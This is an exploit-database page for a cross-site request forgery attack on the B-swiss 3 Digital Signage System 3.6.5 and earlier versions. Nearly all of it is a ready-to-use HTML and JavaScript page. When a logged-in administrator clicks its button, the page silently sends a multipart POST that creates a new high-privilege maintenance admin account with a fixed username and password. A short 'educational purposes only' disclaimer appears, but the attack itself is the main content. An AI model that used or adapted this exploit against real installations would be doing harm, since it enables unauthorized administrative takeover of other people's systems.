Bswiss 3 digital signage system 3.6.5 crosssite request forgery (add maintenance admin) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-09-25 | Type : webapps | Platform : multiple
This exploit / vulnerability Bswiss 3 digital signage system 3.6.5 crosssite request forgery (add maintenance admin) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)
# Date: 2020-09-16
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.b-swiss.com
# Version: 3.6.5
Affected version: 3.6.5,3.6.2,3.6.1,3.6.0,3.5.80,3.5.40,3.5.20,3.5.00,3.2.00,3.1.00



<html>
<body>
<h1>CSRF Add b-swiss Maintenance Admin</h1>
<script>
function GodMode()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/192.168.10.11\/index.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryfH6TtIgiA4Qhr6Ed");
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"locator\"\r\n" +
"\r\n" +
"Users.Save\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"page\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"sort\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"id\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"ischildgrid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"inpopup\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"ongridpage\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rowid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"preview_screenid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_firstname\"\r\n" +
"\r\n" +
"TestingusF\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_lastname\"\r\n" +
"\r\n" +
"TestingusL\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_email\"\r\n" +
"\r\n" +
"aa@bb.cc\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_username\"\r\n" +
"\r\n" +
"testingus\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_password\"\r\n" +
"\r\n" +
"123456\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_cpassword\"\r\n" +
"\r\n" +
"123456\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_adminlevel\"\r\n" +
"\r\n" +
"100000\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_status\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_poza\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_poza_face\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_language\"\r\n" +
"\r\n" +
"french-sw\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_languages[]\"\r\n" +
"\r\n" +
"2\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_can_change_password\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Press me" onclick="GodMode();" />
</form>
</body>
</html>